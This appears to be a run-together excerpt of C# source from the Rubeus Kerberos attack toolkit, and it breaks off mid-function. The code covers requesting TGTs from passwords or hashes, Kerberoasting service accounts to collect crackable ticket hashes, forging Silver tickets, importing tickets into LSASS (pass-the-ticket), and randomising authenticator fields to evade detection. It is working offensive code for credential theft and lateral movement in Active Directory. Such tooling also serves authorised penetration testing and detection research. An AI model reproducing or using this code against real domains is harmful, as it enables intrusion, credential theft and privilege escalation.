(arguments.ContainsKey("/password")) { password = arguments["/password"]; string salt = String.Format("{0}{1}", domain.ToUpper(), user); // special case for computer account salts if (user.EndsWith("$")) { salt = String.Format("{0}host{1}.{2}", domain.ToUpper(), user.TrimEnd('$').ToLower(), domain.ToLower()); } // special case for samaccountname spoofing to support Kerberos AES Encryption if (arguments.ContainsKey("/oldsam")) { salt = String.Format("{0}host{1}.{2}", domain.ToUpper(), arguments["/oldsam"].TrimEnd('$').ToLower(), domain.ToLower()); } hash = Crypto.KerberosPasswordHash(encType, password, salt); } else if (arguments.ContainsKey("/des")) { hash = arguments["/des"]; encType = Interop.KERB_ETYPE.des_cbc_md5; } else if (arguments.ContainsKey("/rc4")) { hash = arguments["/rc4"]; encType = Interop.KERB_ETYPE.rc4_hmac; } else if (arguments.ContainsKey("/ntlm")) { hash = arguments["/ntlm"]; encType = Interop.KERB_ETYPE.rc4_hmac; } else if (arguments.ContainsKey("/aes128")) { hash = arguments["/aes128"]; encType = Interop.KERB_ETYPE.aes128_cts_hmac_sha1; } else if (arguments.ContainsKey("/aes256")) { hash = arguments["/aes256"]; encType = Interop.KERB_ETYPE.aes256_cts_hmac_sha1; } if (arguments.ContainsKey("/certificate")) { certificate = arguments["/certificate"]; if (arguments.ContainsKey("/verifychain") || arguments.ContainsKey("/verifycerts")) { Console.WriteLine("[*] Verifying the entire certificate chain!\r\n"); verifyCerts = true; } if (arguments.ContainsKey("/getcredentials")) { getCredentials = true; } } if (arguments.ContainsKey("/servicekey")) { servicekey = arguments["/servicekey"]; } if (arguments.ContainsKey("/ptt")) { ptt = true; } if (arguments.ContainsKey("/opsec")) { opsec = true; if (arguments.ContainsKey("/force")) { force = true; } } if (arguments.ContainsKey("/nopac")) { pac = false; } if (arguments.ContainsKey("/proxyurl")) { proxyUrl = arguments["/proxyurl"]; } if (arguments.ContainsKey("/luid")) { try { luid = new LUID(arguments["/luid"]); } catch { Console.WriteLine("[X] Invalid LUID format ({0})\r\n", arguments["/luid"]); return; } } if (arguments.ContainsKey("/createnetonly")) { // if we're starting a hidden process to apply the ticket to if (!Helpers.IsHighIntegrity()) { Console.WriteLine("[X] You need to be in high integrity to apply a ticket to created logon session"); return; } if (arguments.ContainsKey("/show")) { luid = Helpers.CreateProcessNetOnly(arguments["/createnetonly"], true); } else { luid = Helpers.CreateProcessNetOnly(arguments["/createnetonly"], false); } Console.WriteLine(); } if (String.IsNullOrEmpty(user)) { Console.WriteLine("\r\n[X] You must supply a user name!\r\n"); return; } if (String.IsNullOrEmpty(domain)) { domain = System.DirectoryServices.ActiveDirectory.Domain.GetCurrentDomain().Name; } if (String.IsNullOrEmpty(hash) && String.IsNullOrEmpty(certificate)) { Console.WriteLine("\r\n[X] You must supply a /password, /certificate or a [/des|/rc4|/aes128|/aes256] hash!\r\n"); return; } bool changepw = arguments.ContainsKey("/changepw"); if (!((encType == Interop.KERB_ETYPE.des_cbc_md5) || (encType == Interop.KERB_ETYPE.rc4_hmac) || (encType == Interop.KERB_ETYPE.aes128_cts_hmac_sha1) || (encType == Interop.KERB_ETYPE.aes256_cts_hmac_sha1))) { Console.WriteLine("\r\n[X] Only /des, /rc4, /aes128, and /aes256 are supported at this time.\r\n"); return; } else { if ((opsec) && (encType != Interop.KERB_ETYPE.aes256_cts_hmac_sha1) && !(force)) { Console.WriteLine("[X] Using /opsec but not using /enctype:aes256, to force this behaviour use /force"); return; } if (String.IsNullOrEmpty(certificate)) { Ask.TGT(user, domain, hash, encType, outfile, ptt, dc, luid, true, opsec, servicekey, changepw, pac, proxyUrl); } else { Ask.TGT(user, domain, certificate, password, encType, outfile, ptt, dc, luid, true, verifyCerts, servicekey, getCredentials, proxyUrl); } return; } }
public static void Kerberoast(string spn = "", List <string> spns = null, string userName = "", string OUName = "", string domain = "", string dc = "", System.Net.NetworkCredential cred = null, string outFile = "", bool simpleOutput = false, KRB_CRED TGT = null, bool useTGTdeleg = false, string supportedEType = "rc4", string pwdSetAfter = "", string pwdSetBefore = "", string ldapFilter = "", int resultLimit = 0, int delay = 0, int jitter = 0, bool userStats = false, bool enterprise = false, bool autoenterprise = false, bool ldaps = false) { if (userStats) { Console.WriteLine("[*] Listing statistics about target users, no ticket requests being performed."); } else if (TGT != null) { Console.WriteLine("[*] Using a TGT /ticket to request service tickets"); } else if (useTGTdeleg || String.Equals(supportedEType, "rc4opsec")) { Console.WriteLine("[*] Using 'tgtdeleg' to request a TGT for the current user"); byte[] delegTGTbytes = LSA.RequestFakeDelegTicket("", false); TGT = new KRB_CRED(delegTGTbytes); Console.WriteLine("[*] RC4_HMAC will be the requested for AES-enabled accounts, all etypes will be requested for everything else"); } else { Console.WriteLine("[*] NOTICE: AES hashes will be returned for AES-enabled accounts."); Console.WriteLine("[*] Use /ticket:X or /tgtdeleg to force RC4_HMAC for these accounts.\r\n"); } if ((enterprise) && ((TGT == null) || ((String.IsNullOrEmpty(spn)) && (spns != null) && (spns.Count == 0)))) { Console.WriteLine("[X] To use Enterprise Principals, /spn or /spns has to be specified, along with either /ticket or /tgtdeleg"); return; } if (delay != 0) { Console.WriteLine($"[*] Using a delay of {delay} milliseconds between TGS requests."); if (jitter != 0) { Console.WriteLine($"[*] Using a jitter of {jitter}% between TGS requests."); } Console.WriteLine(); } if (!String.IsNullOrEmpty(spn)) { Console.WriteLine("\r\n[*] Target SPN : {0}", spn); if (TGT != null) { // if a TGT .kirbi is supplied, use that for the request // this could be a passed TGT or if TGT delegation is specified GetTGSRepHash(TGT, spn, "USER", "DISTINGUISHEDNAME", outFile, simpleOutput, enterprise, dc, Interop.KERB_ETYPE.rc4_hmac); } else { // otherwise use the KerberosRequestorSecurityToken method GetTGSRepHash(spn, "USER", "DISTINGUISHEDNAME", cred, outFile); } } else if ((spns != null) && (spns.Count != 0)) { foreach (string s in spns) { Console.WriteLine("\r\n[*] Target SPN : {0}", s); if (TGT != null) { // if a TGT .kirbi is supplied, use that for the request // this could be a passed TGT or if TGT delegation is specified GetTGSRepHash(TGT, s, "USER", "DISTINGUISHEDNAME", outFile, simpleOutput, enterprise, dc, Interop.KERB_ETYPE.rc4_hmac); } else { // otherwise use the KerberosRequestorSecurityToken method GetTGSRepHash(s, "USER", "DISTINGUISHEDNAME", cred, outFile); } } } else { if ((!String.IsNullOrEmpty(domain)) || (!String.IsNullOrEmpty(OUName)) || (!String.IsNullOrEmpty(userName))) { if (!String.IsNullOrEmpty(userName)) { if (userName.Contains(",")) { Console.WriteLine("[*] Target Users : {0}", userName); } else { Console.WriteLine("[*] Target User : {0}", userName); } } if (!String.IsNullOrEmpty(domain)) { Console.WriteLine("[*] Target Domain : {0}", domain); } if (!String.IsNullOrEmpty(OUName)) { Console.WriteLine("[*] Target OU : {0}", OUName); } } // inject ticket for LDAP search if supplied if (TGT != null) { byte[] kirbiBytes = null; string ticketDomain = TGT.enc_part.ticket_info[0].prealm; if (String.IsNullOrEmpty(domain)) { // if a domain isn't specified, use the domain from the referral domain = ticketDomain; } // referral TGT is in use, we need a service ticket for LDAP on the DC to perform the domain searcher if (ticketDomain != domain) { if (String.IsNullOrEmpty(dc)) { dc = Networking.GetDCName(domain); } string tgtUserName = TGT.enc_part.ticket_info[0].pname.name_string[0]; Ticket ticket = TGT.tickets[0]; byte[] clientKey = TGT.enc_part.ticket_info[0].key.keyvalue; Interop.KERB_ETYPE etype = (Interop.KERB_ETYPE)TGT.enc_part.ticket_info[0].key.keytype; // check if we've been given an IP for the DC, we'll need the name for the LDAP service ticket Match match = Regex.Match(dc, @"([0-9A-Fa-f]{1,4}:){7}[0-9A-Fa-f]{1,4}|(\d{1,3}\.){3}\d{1,3}"); if (match.Success) { System.Net.IPAddress dcIP = System.Net.IPAddress.Parse(dc); System.Net.IPHostEntry dcInfo = System.Net.Dns.GetHostEntry(dcIP); dc = dcInfo.HostName; } // request a service tickt for LDAP on the target DC kirbiBytes = Ask.TGS(tgtUserName, ticketDomain, ticket, clientKey, etype, string.Format("ldap/{0}", dc), etype, null, false, dc, false, enterprise, false); } // otherwise inject the TGT to perform the domain searcher else { kirbiBytes = TGT.Encode().Encode(); } LSA.ImportTicket(kirbiBytes, new LUID()); } // build LDAP query string userFilter = ""; if (!String.IsNullOrEmpty(userName)) { if (userName.Contains(",")) { // searching for multiple specified users, ensuring they're not disabled accounts string userPart = ""; foreach (string user in userName.Split(',')) { userPart += String.Format("(samAccountName={0})", user); } userFilter = String.Format("(&(|{0})(!(UserAccountControl:1.2.840.113556.1.4.803:=2)))", userPart); } else { // searching for a specified user, ensuring it's not a disabled account userFilter = String.Format("(samAccountName={0})(!(UserAccountControl:1.2.840.113556.1.4.803:=2))", userName); } } else { // if no user specified, filter out the krbtgt account and disabled accounts userFilter = "(!samAccountName=krbtgt)(!(UserAccountControl:1.2.840.113556.1.4.803:=2))"; } string encFilter = ""; if (String.Equals(supportedEType, "rc4opsec")) { // "opsec" RC4, meaning don't RC4 roast accounts that support AES Console.WriteLine("[*] Searching for accounts that only support RC4_HMAC, no AES"); encFilter = "(!msds-supportedencryptiontypes:1.2.840.113556.1.4.804:=24)"; } else if (String.Equals(supportedEType, "aes")) { // msds-supportedencryptiontypes:1.2.840.113556.1.4.804:=24 -> supported etypes includes AES128/256 Console.WriteLine("[*] Searching for accounts that support AES128_CTS_HMAC_SHA1_96/AES256_CTS_HMAC_SHA1_96"); encFilter = "(msds-supportedencryptiontypes:1.2.840.113556.1.4.804:=24)"; } // Note: I originally thought that if enctypes included AES but DIDN'T include RC4, // then RC4 tickets would NOT be returned, so the original filter was: // !msds-supportedencryptiontypes=* -> null supported etypes, so RC4 // msds-supportedencryptiontypes=0 -> no supported etypes specified, so RC4 // msds-supportedencryptiontypes:1.2.840.113556.1.4.803:=4 -> supported etypes includes RC4 // userSearcher.Filter = "(&(samAccountType=805306368)(serviceprincipalname=*)(!samAccountName=krbtgt)(|(!msds-supportedencryptiontypes=*)(msds-supportedencryptiontypes=0)(msds-supportedencryptiontypes:1.2.840.113556.1.4.803:=4)))"; // But apparently Microsoft is silly and doesn't really follow their own docs and RC4 is always returned regardless ¯\_(ツ)_/¯ // so this fine-grained filtering is not needed string userSearchFilter = ""; if (!(String.IsNullOrEmpty(pwdSetAfter) & String.IsNullOrEmpty(pwdSetBefore))) { if (String.IsNullOrEmpty(pwdSetAfter)) { pwdSetAfter = "01-01-1601"; } if (String.IsNullOrEmpty(pwdSetBefore)) { pwdSetBefore = "01-01-2100"; } Console.WriteLine("[*] Searching for accounts with lastpwdset from {0} to {1}", pwdSetAfter, pwdSetBefore); try { DateTime timeFromConverted = DateTime.ParseExact(pwdSetAfter, "MM-dd-yyyy", null); DateTime timeUntilConverted = DateTime.ParseExact(pwdSetBefore, "MM-dd-yyyy", null); string timePeriod = "(pwdlastset>=" + timeFromConverted.ToFileTime() + ")(pwdlastset<=" + timeUntilConverted.ToFileTime() + ")"; userSearchFilter = String.Format("(&(samAccountType=805306368)(servicePrincipalName=*){0}{1}{2})", userFilter, encFilter, timePeriod); } catch { Console.WriteLine("\r\n[X] Error parsing /pwdsetbefore or /pwdsetafter, please use the format 'MM-dd-yyyy'"); return; } } else { userSearchFilter = String.Format("(&(samAccountType=805306368)(servicePrincipalName=*){0}{1})", userFilter, encFilter); } if (!String.IsNullOrEmpty(ldapFilter)) { userSearchFilter = String.Format("(&{0}({1}))", userSearchFilter, ldapFilter); } List <IDictionary <string, Object> > users = Networking.GetLdapQuery(cred, OUName, dc, domain, userSearchFilter, ldaps); if (users == null) { Console.WriteLine("[X] LDAP query failed, try specifying more domain information or specific SPNs."); return; } try { if (users.Count == 0) { Console.WriteLine("\r\n[X] No users found to Kerberoast!"); } else { Console.WriteLine("\r\n[*] Total kerberoastable users : {0}\r\n", users.Count); } // used to keep track of user encryption types SortedDictionary <Interop.SUPPORTED_ETYPE, int> userETypes = new SortedDictionary <Interop.SUPPORTED_ETYPE, int>(); // used to keep track of years that users had passwords last set in SortedDictionary <int, int> userPWDsetYears = new SortedDictionary <int, int>(); foreach (IDictionary <string, Object> user in users) { string samAccountName = (string)user["samaccountname"]; string distinguishedName = (string)user["distinguishedname"]; string servicePrincipalName = ((string[])user["serviceprincipalname"])[0]; DateTime?pwdLastSet = null; if (user.ContainsKey("pwdlastset")) { pwdLastSet = ((DateTime)user["pwdlastset"]).ToLocalTime(); } Interop.SUPPORTED_ETYPE supportedETypes = (Interop.SUPPORTED_ETYPE) 0; if (user.ContainsKey("msds-supportedencryptiontypes")) { supportedETypes = (Interop.SUPPORTED_ETYPE)(int) user["msds-supportedencryptiontypes"]; } if (!userETypes.ContainsKey(supportedETypes)) { userETypes[supportedETypes] = 1; } else { userETypes[supportedETypes] = userETypes[supportedETypes] + 1; } if (pwdLastSet == null) { // pwdLastSet == null with new accounts and // when a password is set to never expire if (!userPWDsetYears.ContainsKey(-1)) { userPWDsetYears[-1] = 1; } else { userPWDsetYears[-1] += 1; } } else { int year = pwdLastSet.Value.Year; if (!userPWDsetYears.ContainsKey(year)) { userPWDsetYears[year] = 1; } else { userPWDsetYears[year] += 1; } } if (!userStats) { if (!simpleOutput) { Console.WriteLine("\r\n[*] SamAccountName : {0}", samAccountName); Console.WriteLine("[*] DistinguishedName : {0}", distinguishedName); Console.WriteLine("[*] ServicePrincipalName : {0}", servicePrincipalName); Console.WriteLine("[*] PwdLastSet : {0}", pwdLastSet); Console.WriteLine("[*] Supported ETypes : {0}", supportedETypes); } if ((!String.IsNullOrEmpty(domain)) && (TGT == null)) { servicePrincipalName = String.Format("{0}@{1}", servicePrincipalName, domain); } if (TGT != null) { Interop.KERB_ETYPE etype = Interop.KERB_ETYPE.subkey_keymaterial; // if a TGT .kirbi is supplied, use that for the request // this could be a passed TGT or if TGT delegation is specified if (String.Equals(supportedEType, "rc4") && ( ((supportedETypes & Interop.SUPPORTED_ETYPE.AES128_CTS_HMAC_SHA1_96) == Interop.SUPPORTED_ETYPE.AES128_CTS_HMAC_SHA1_96) || ((supportedETypes & Interop.SUPPORTED_ETYPE.AES256_CTS_HMAC_SHA1_96) == Interop.SUPPORTED_ETYPE.AES256_CTS_HMAC_SHA1_96) ) ) { // if we're roasting RC4, but AES is supported AND we have a TGT, specify RC4 etype = Interop.KERB_ETYPE.rc4_hmac; } bool result = GetTGSRepHash(TGT, servicePrincipalName, samAccountName, distinguishedName, outFile, simpleOutput, enterprise, dc, etype); Helpers.RandomDelayWithJitter(delay, jitter); if (!result && autoenterprise) { Console.WriteLine("\r\n[-] Retrieving service ticket with SPN failed and '/autoenterprise' passed, retrying with the enterprise principal"); servicePrincipalName = String.Format("{0}@{1}", samAccountName, domain); GetTGSRepHash(TGT, servicePrincipalName, samAccountName, distinguishedName, outFile, simpleOutput, true, dc, etype); Helpers.RandomDelayWithJitter(delay, jitter); } } else { // otherwise use the KerberosRequestorSecurityToken method bool result = GetTGSRepHash(servicePrincipalName, samAccountName, distinguishedName, cred, outFile, simpleOutput); Helpers.RandomDelayWithJitter(delay, jitter); if (!result && autoenterprise) { Console.WriteLine("\r\n[-] Retrieving service ticket with SPN failed and '/autoenterprise' passed, retrying with the enterprise principal"); servicePrincipalName = String.Format("{0}@{1}", samAccountName, domain); GetTGSRepHash(servicePrincipalName, samAccountName, distinguishedName, cred, outFile, simpleOutput); Helpers.RandomDelayWithJitter(delay, jitter); } } } } if (userStats) { var eTypeTable = new ConsoleTable("Supported Encryption Type", "Count"); var pwdLastSetTable = new ConsoleTable("Password Last Set Year", "Count"); Console.WriteLine(); // display stats about the users found foreach (var item in userETypes) { eTypeTable.AddRow(item.Key.ToString(), item.Value.ToString()); } eTypeTable.Write(); foreach (var item in userPWDsetYears) { pwdLastSetTable.AddRow(item.Key.ToString(), item.Value.ToString()); } pwdLastSetTable.Write(); } } catch (Exception ex) { Console.WriteLine("\r\n[X] Error executing the domain searcher: {0}", ex); return; } } if (!String.IsNullOrEmpty(outFile)) { Console.WriteLine("[*] Roasted hashes written to : {0}", Path.GetFullPath(outFile)); } }
public static byte[] NewTGSReq(string userName, string domain, string sname, Ticket providedTicket, byte[] clientKey, Interop.KERB_ETYPE etype, bool renew, string s4uUser = "") { TGS_REQ req = new TGS_REQ(); // create the PA-DATA that contains the AP-REQ w/ appropriate authenticator/etc. PA_DATA padata = new PA_DATA(domain, userName, providedTicket, clientKey, etype); req.padata.Add(padata); // set the username req.req_body.cname.name_string.Add(userName); // the realm (domain) the user exists in req.req_body.realm = domain; if (!String.IsNullOrEmpty(s4uUser)) { // constrained delegation yo' PA_DATA s4upadata = new PA_DATA(clientKey, String.Format("{0}@{1}", s4uUser, domain), domain); req.padata.Add(s4upadata); req.req_body.sname.name_type = 1; req.req_body.sname.name_string.Add(userName); req.req_body.kdcOptions = req.req_body.kdcOptions | Interop.KdcOptions.ENCTKTINSKEY; req.req_body.etypes.Add(Interop.KERB_ETYPE.aes128_cts_hmac_sha1); req.req_body.etypes.Add(Interop.KERB_ETYPE.aes256_cts_hmac_sha1); req.req_body.etypes.Add(Interop.KERB_ETYPE.rc4_hmac); } else { // add in our encryption type req.req_body.etypes.Add(etype); // KRB_NT_SRV_INST = 2 // service and other unique instance (e.g. krbtgt) req.req_body.sname.name_type = 2; req.req_body.sname.name_string.Add(sname); req.req_body.sname.name_string.Add(domain); if (renew) { req.req_body.kdcOptions = req.req_body.kdcOptions | Interop.KdcOptions.RENEW; } } return(req.Encode().Encode()); }
public PA_DATA(string crealm, string cname, Ticket providedTicket, byte[] clientKey, Interop.KERB_ETYPE etype, bool opsec = false, byte[] req_body = null) { // include an AP-REQ, so PA-DATA for a TGS-REQ type = Interop.PADATA_TYPE.AP_REQ; // build the AP-REQ AP_REQ ap_req = new AP_REQ(crealm, cname, providedTicket, clientKey, etype); // make authenticator look more realistic if (opsec) { var rand = new Random(); ap_req.authenticator.seq_number = (UInt32)rand.Next(1, Int32.MaxValue); // Could be useful to output the sequence number in case we implement KRB_PRIV or KRB_SAFE messages Console.WriteLine("[+] Sequence number is: {0}", ap_req.authenticator.seq_number); // randomize cusec to avoid fingerprinting ap_req.authenticator.cusec = rand.Next(0, 999999); if (req_body != null) { ap_req.authenticator.cksum = new Checksum(Interop.KERB_CHECKSUM_ALGORITHM.KERB_CHECKSUM_RSA_MD5, req_body); } } value = ap_req; }
public void Execute(Dictionary <string, string> arguments) { string user = ""; uint luid = 0; string domain; string userValue; if (arguments.TryGetValue("/user", out userValue)) { string[] parts = userValue.Split('\\'); switch (parts.Length) { case 1: user = userValue; break; case 2: domain = parts[0]; user = parts[1]; break; default: Console.WriteLine("\r\n[X] Invalid user value syntax.\r\n"); return; } } // TODO : Clarify in source code for overlap with composite user name. if (!arguments.TryGetValue("/domain", out domain)) { domain = string.Empty; } string dc; if (!arguments.TryGetValue("/dc", out dc)) { dc = string.Empty; } Interop.KERB_ETYPE encType = Interop.KERB_ETYPE.subkey_keymaterial; string hash; if (arguments.TryGetValue("/rc4", out hash)) { encType = Interop.KERB_ETYPE.rc4_hmac; } else if (arguments.TryGetValue("/aes256", out hash)) { encType = Interop.KERB_ETYPE.aes256_cts_hmac_sha1; } if (string.IsNullOrEmpty(hash)) { Console.WriteLine("\r\n[X] You must supply a /rc4 or /aes256 hash!\r\n"); return; } bool ptt = arguments.ContainsKey("/ptt"); string luidValue; if (arguments.TryGetValue("/luid", out luidValue)) { try { luid = uint.Parse(luidValue); } catch { try { luid = Convert.ToUInt32(luidValue, 16); } catch { Console.WriteLine("[X] Invalid LUID format ({0})\r\n", luidValue); return; } } } string createnetonlyValue; if (arguments.TryGetValue("/createnetonly", out createnetonlyValue)) { // if we're starting a hidden process to apply the ticket to if (!Helpers.IsHighIntegrity()) { Console.WriteLine("[X] You need to be in high integrity to apply a ticket to created logon session"); return; } luid = LSA.CreateProcessNetOnly(createnetonlyValue, arguments.ContainsKey("/show")); Console.WriteLine(); } if (string.IsNullOrEmpty(user)) { Console.WriteLine("\r\n[X] You must supply a user name!\r\n"); return; } if (string.IsNullOrEmpty(domain)) { domain = IPGlobalProperties.GetIPGlobalProperties().DomainName; } if (!((encType == Interop.KERB_ETYPE.rc4_hmac) || (encType == Interop.KERB_ETYPE.aes256_cts_hmac_sha1))) { Console.WriteLine("\r\n[X] Only /rc4 and /aes256 are supported at this time.\r\n"); return; } Ask.TGT(user, domain, hash, encType, ptt, dc, luid); return; }
public static void Silver(string user, string sname, string keyString, Interop.KERB_ETYPE etype, string domain = "", string outfile = null, bool ptt = false, Interop.TicketFlags flags = Interop.TicketFlags.forwardable | Interop.TicketFlags.renewable | Interop.TicketFlags.pre_authent) { // determine domain if not supplied string[] parts = sname.Split('/'); if (String.IsNullOrEmpty(domain)) { if ((parts.Length > 1) && (parts[0] == "krbtgt")) { Console.WriteLine("[X] Referral TGT requires /domain to be passed."); return; } else if ((parts.Length == 1) && (sname.Split('@').Length == 1)) { Console.WriteLine("[X] SPN has to be in the format 'svc/host.domain.com' or '*****@*****.**'."); return; } else if (parts.Length > 1) { domain = parts[1].Substring(parts[1].IndexOf('.') + 1); string[] domainParts = domain.Split(':'); if (domainParts.Length > 1) { domain = domainParts[0]; } } else if (sname.Split('@').Length > 1) { domain = sname.Split('@')[1]; } else { Console.WriteLine("[X] SPN is in a unsupported format: {0}.", sname); return; } } // initialize some structures KRB_CRED cred = new KRB_CRED(); KrbCredInfo info = new KrbCredInfo(); // generate a random session key Random random = new Random(); byte[] randKeyBytes; if (etype == Interop.KERB_ETYPE.rc4_hmac) { randKeyBytes = new byte[16]; random.NextBytes(randKeyBytes); } else if (etype == Interop.KERB_ETYPE.aes256_cts_hmac_sha1) { randKeyBytes = new byte[32]; random.NextBytes(randKeyBytes); } else { Console.WriteLine("[X] Only rc4_hmac and aes256_cts_hmac_sha1 key hashes supported at this time!"); return; } EncTicketPart decTicketPart = new EncTicketPart(randKeyBytes, etype, domain.ToUpper(), user, flags); // get the key from keyString byte[] key = Helpers.StringToByteArray(keyString); // encrypt the EncTicketPart byte[] encTicketData = decTicketPart.Encode().Encode(); byte[] encTicketPart = Crypto.KerberosEncrypt(etype, Interop.KRB_KEY_USAGE_AS_REP_TGS_REP, key, encTicketData); // initialize the ticket and add the enc_part Ticket ticket = new Ticket(domain.ToUpper(), sname); ticket.enc_part = new EncryptedData((Int32)etype, encTicketPart, 3); // add the ticket cred.tickets.Add(ticket); // [0] add in the session key info.key.keytype = (int)etype; info.key.keyvalue = randKeyBytes; // [1] prealm (domain) info.prealm = decTicketPart.crealm; // [2] pname (user) info.pname.name_type = decTicketPart.cname.name_type; info.pname.name_string = decTicketPart.cname.name_string; // [3] flags info.flags = flags; // [4] authtime (not required) info.authtime = decTicketPart.authtime; // [5] starttime info.starttime = decTicketPart.starttime; // [6] endtime info.endtime = decTicketPart.endtime; // [7] renew-till info.renew_till = decTicketPart.renew_till; // [8] srealm info.srealm = ticket.realm; // [9] sname info.sname.name_type = ticket.sname.name_type; info.sname.name_string = ticket.sname.name_string; // add the ticket_info into the cred object cred.enc_part.ticket_info.Add(info); byte[] kirbiBytes = cred.Encode().Encode(); string kirbiString = Convert.ToBase64String(kirbiBytes); Console.WriteLine("[*] Forged a TGS for '{0}' to '{1}'", info.pname.name_string[0], sname); Console.WriteLine("[*] base64(ticket.kirbi):\r\n"); if (Program.wrapTickets) { // display the .kirbi base64, columns of 80 chararacters foreach (string line in Helpers.Split(kirbiString, 80)) { Console.WriteLine(" {0}", line); } } else { Console.WriteLine(" {0}", kirbiString); } Console.WriteLine(""); if (!String.IsNullOrEmpty(outfile)) { string filename = $"{Helpers.GetBaseFromFilename(outfile)}_{info.pname.name_string[0]}_to_{info.sname.name_string[0]}@{info.srealm}{Helpers.GetExtensionFromFilename(outfile)}"; filename = Helpers.MakeValidFileName(filename); if (Helpers.WriteBytesToFile(filename, kirbiBytes)) { Console.WriteLine("\r\n[*] Ticket written to {0}\r\n", filename); } } if (ptt) { // pass-the-ticket -> import into LSASS LSA.ImportTicket(kirbiBytes, new LUID()); } }
public static byte[] InnerTGT(string userName, string domain, string keyString, Interop.KERB_ETYPE etype, string outfile, bool ptt, string domainController = "", Interop.LUID luid = new Interop.LUID(), bool describe = false, bool verbose = false) { if (verbose) { Console.WriteLine("[*] Action: Ask TGT\r\n"); Console.WriteLine("[*] Using {0} hash: {1}", etype, keyString); if ((ulong)luid != 0) { Console.WriteLine("[*] Target LUID : {0}", (ulong)luid); } } string dcIP = Networking.GetDCIP(domainController, false); if (String.IsNullOrEmpty(dcIP)) { throw new RubeusException("[X] Unable to get domain controller address"); } if (verbose) { Console.WriteLine("[*] Building AS-REQ (w/ preauth) for: '{0}\\{1}'", domain, userName); } byte[] reqBytes = AS_REQ.NewASReq(userName, domain, keyString, etype); byte[] response = Networking.SendBytes(dcIP, 88, reqBytes); if (response == null) { throw new RubeusException("[X] No answer from domain controller"); } // decode the supplied bytes to an AsnElt object // false == ignore trailing garbage AsnElt responseAsn = AsnElt.Decode(response, false); // check the response value int responseTag = responseAsn.TagValue; if (responseTag == 11) { if (verbose) { Console.WriteLine("[+] TGT request successful!"); } // parse the response to an AS-REP AS_REP rep = new AS_REP(responseAsn); // convert the key string to bytes byte[] key = Helpers.StringToByteArray(keyString); // decrypt the enc_part containing the session key/etc. // TODO: error checking on the decryption "failing"... byte[] outBytes; if (etype == Interop.KERB_ETYPE.des_cbc_md5) { // KRB_KEY_USAGE_TGS_REP_EP_SESSION_KEY = 8 outBytes = Crypto.KerberosDecrypt(etype, Interop.KRB_KEY_USAGE_TGS_REP_EP_SESSION_KEY, key, rep.enc_part.cipher); } else if (etype == Interop.KERB_ETYPE.rc4_hmac) { // KRB_KEY_USAGE_TGS_REP_EP_SESSION_KEY = 8 outBytes = Crypto.KerberosDecrypt(etype, Interop.KRB_KEY_USAGE_TGS_REP_EP_SESSION_KEY, key, rep.enc_part.cipher); } else if (etype == Interop.KERB_ETYPE.aes128_cts_hmac_sha1) { // KRB_KEY_USAGE_AS_REP_EP_SESSION_KEY = 3 outBytes = Crypto.KerberosDecrypt(etype, Interop.KRB_KEY_USAGE_AS_REP_EP_SESSION_KEY, key, rep.enc_part.cipher); } else if (etype == Interop.KERB_ETYPE.aes256_cts_hmac_sha1) { // KRB_KEY_USAGE_AS_REP_EP_SESSION_KEY = 3 outBytes = Crypto.KerberosDecrypt(etype, Interop.KRB_KEY_USAGE_AS_REP_EP_SESSION_KEY, key, rep.enc_part.cipher); } else { throw new RubeusException("[X] Encryption type \"" + etype + "\" not currently supported"); } AsnElt ae = AsnElt.Decode(outBytes, false); EncKDCRepPart encRepPart = new EncKDCRepPart(ae.Sub[0]); // now build the final KRB-CRED structure KRB_CRED cred = new KRB_CRED(); // add the ticket cred.tickets.Add(rep.ticket); // build the EncKrbCredPart/KrbCredInfo parts from the ticket and the data in the encRepPart KrbCredInfo info = new KrbCredInfo(); // [0] add in the session key info.key.keytype = encRepPart.key.keytype; info.key.keyvalue = encRepPart.key.keyvalue; // [1] prealm (domain) info.prealm = encRepPart.realm; // [2] pname (user) info.pname.name_type = rep.cname.name_type; info.pname.name_string = rep.cname.name_string; // [3] flags info.flags = encRepPart.flags; // [4] authtime (not required) // [5] starttime info.starttime = encRepPart.starttime; // [6] endtime info.endtime = encRepPart.endtime; // [7] renew-till info.renew_till = encRepPart.renew_till; // [8] srealm info.srealm = encRepPart.realm; // [9] sname info.sname.name_type = encRepPart.sname.name_type; info.sname.name_string = encRepPart.sname.name_string; // add the ticket_info into the cred object cred.enc_part.ticket_info.Add(info); byte[] kirbiBytes = cred.Encode().Encode(); if (verbose) { string kirbiString = Convert.ToBase64String(kirbiBytes); Console.WriteLine("[*] base64(ticket.kirbi):\r\n", kirbiString); // display the .kirbi base64, columns of 80 chararacters foreach (string line in Helpers.Split(kirbiString, 80)) { Console.WriteLine(" {0}", line); } } if (!String.IsNullOrEmpty(outfile)) { outfile = Helpers.MakeValidFileName(outfile); if (Helpers.WriteBytesToFile(outfile, kirbiBytes)) { if (verbose) { Console.WriteLine("\r\n[*] Ticket written to {0}\r\n", outfile); } } } if (ptt || ((ulong)luid != 0)) { // pass-the-ticket -> import into LSASS LSA.ImportTicket(kirbiBytes, luid); } if (describe) { KRB_CRED kirbi = new KRB_CRED(kirbiBytes); LSA.DisplayTicket(kirbi); } return(kirbiBytes); } else if (responseTag == 30) { // parse the response to an KRB-ERROR KRB_ERROR error = new KRB_ERROR(responseAsn.Sub[0]); throw new KerberosErrorException("", error); } else { throw new RubeusException("[X] Unknown application tag: " + responseTag); } }
public static byte[] NewTGSReq(string userName, string domain, string sname, Ticket providedTicket, byte[] clientKey, Interop.KERB_ETYPE paEType, Interop.KERB_ETYPE requestEType = Interop.KERB_ETYPE.subkey_keymaterial, bool renew = false, string s4uUser = "", bool enterprise = false, bool roast = false, bool opsec = false, bool unconstrained = false) { TGS_REQ req = new TGS_REQ(!opsec); if (!opsec) { // set the username req.req_body.cname.name_string.Add(userName); } // get domain from service for cross domain requests // if not requesting a cross domain TGT (krbtgt) string targetDomain = ""; string[] parts = sname.Split('/'); if (!(roast) && (parts.Length > 1) && (parts[0] != "krbtgt")) { targetDomain = parts[1].Substring(parts[1].IndexOf('.') + 1); // remove port when SPN is in format 'svc/domain.com:1234' string[] targetParts = targetDomain.Split(':'); if (targetParts.Length > 1) { targetDomain = targetParts[0]; } } else if (enterprise) { targetDomain = sname.Split('@')[1]; } else { targetDomain = domain; } // the realm (domain) the user exists in req.req_body.realm = targetDomain.ToUpper(); // add in our encryption types if (requestEType == Interop.KERB_ETYPE.subkey_keymaterial) { // normal behavior req.req_body.etypes.Add(Interop.KERB_ETYPE.aes256_cts_hmac_sha1); req.req_body.etypes.Add(Interop.KERB_ETYPE.aes128_cts_hmac_sha1); 